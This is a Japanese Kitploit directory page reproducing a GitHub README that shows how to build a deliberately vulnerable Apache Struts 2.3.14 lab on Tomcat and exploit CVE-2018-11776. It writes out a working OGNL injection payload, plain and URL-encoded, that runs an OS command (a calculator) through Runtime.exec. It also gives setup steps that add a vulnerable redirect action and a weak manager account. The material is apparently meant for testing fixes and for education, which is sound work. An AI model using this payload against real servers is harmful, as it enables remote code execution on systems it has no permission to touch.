Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-11776 — 脆弱な環境とPoCの作成 | Kitploit
ツール/GitHubGitHub/xfox64x/cve-2018-11776
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubxfox64x/cve-2018-11776

CVE-2018-11776

脆弱な環境とPoCの作成

リポジトリを見る
1566年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-11776

利用可能な保護策と修正をすぐに評価するためのProof of Conceptエクスプロイトです。

最初に発見したのはSemmleのMan Yue Mo氏です: https://semmle.com/news/apache-struts-CVE-2018-11776

Semmleは「Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo」というYouTubeビデオを少しの間公開していましたが、もう消えたか、少なくともSemmleからはリンクされなくなったと思います: https://www.youtube.com/watch?v=5SDNX20SLJ0

上記の情報を参考にして、Strutsリポジトリへのコミットを調べ始めました: https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

Dockerとかそういうのを使うのが面倒くさいんだよ...

脆弱なホストのセットアップと悪用

最新のUbuntu Desktop ISOをダウンロードして仮想マシンを作成する。

http://releases.ubuntu.com/18.04.1/ubuntu-18.04.1-desktop-amd64.iso?_ga=2.265574989.317727484.1535056103-825490018.1535056103

依存関係のインストール:

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade

sudo apt-get install default-jdk vim net-tools

Tomcatのセットアップ:

mkdir ~/sources

cd ~/sources

wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz

tar xvzf apache-tomcat-7.0.90.tar.gz

sudo mv apache-tomcat-7.0.90 /opt/tomcat

bashrcに変数を追加する:

vim ~/.bashrc

export JAVA_HOME=/usr/lib/jvm/default-java

export CATALINA_HOME=/opt/tomcat

. ~/.bashrc

Tomact guiに管理者を追加する:

sudo vim /opt/tomcat/conf/tomcat-users.xml

root@kitploit:~
<user username="username" password="password" roles="manager-gui,admin-gui" />

脆弱なStruts2 Showcaseを入手して、作業対象を用意する:

cd ~/sources

wget http://central.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.14/struts2-showcase-2.3.14.war

Tomcat guiからWARファイルをデプロイする:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

Tomcatを再起動して、Struts2 Showcaseが利用できることを確認する:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

名前空間なしの脆弱なリダイレクションアクションを追加する:

vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml

root@kitploit:~
    <action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

date.actionはすでに定義されているので、date.actionを呼び出す別のリダイレクションアクションを追加しただけです。

デフォルトでは、alwaysSelectFullNamespaceはTrueに設定されているはずです。

Tomcatを再起動してStruts2 Showcaseのページを確認する:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/struts2-showcase-2.3.14/showcase.jsp

何か実行するためのOGNL式を作成する。SemmleがYouTubeビデオでおそらくやったことをやってみましょう:

%{(#_memberAccess['allowStaticMethodAccess'] = true).(#rt = @java.lang.Runtime@getRuntime()).(#rt.exec('gnome-calculator'))}

OGNL式はURLエンコードして、URLの最後の'/'の前に挿入し、脆弱なhelp.actionに到達させる必要があります:

127.0.0.1:8080/struts2-showcase-2.3.14/<encoded-command-goes-here>/help.action

127.0.0.1:8080/struts2-showcase-2.3.14/%25%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%27%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%27%5D%20%3D%20%74%72%75%65%29%2E%28%23%72%74%20%3D%20%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%29%2E%28%23%72%74%2E%65%78%65%63%28%27%67%6E%6F%6D%65%2D%63%61%6C%63%75%6C%61%74%6F%72%27%29%29%7D/help.action

脆弱なUbuntuホスト上で実行すると、新しい電卓インスタンスがポップアップ表示されるはずです。

この問題を修正した関連コミット:

https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

所感:

またしても極めて特殊で脆弱なStruts実装だ。この脆弱性に関するメディアの報道で皆が慌てふためいたが、実際に脆弱なのは最も雑なコード/設定だけだ... この脆弱性を確実に見つけたり悪用したりする、効率的で目立たない方法は思いつかない。私の推奨: とにかくStrutsをアップグレードしろ...(または使うのをやめろ)

ツールをダウンロード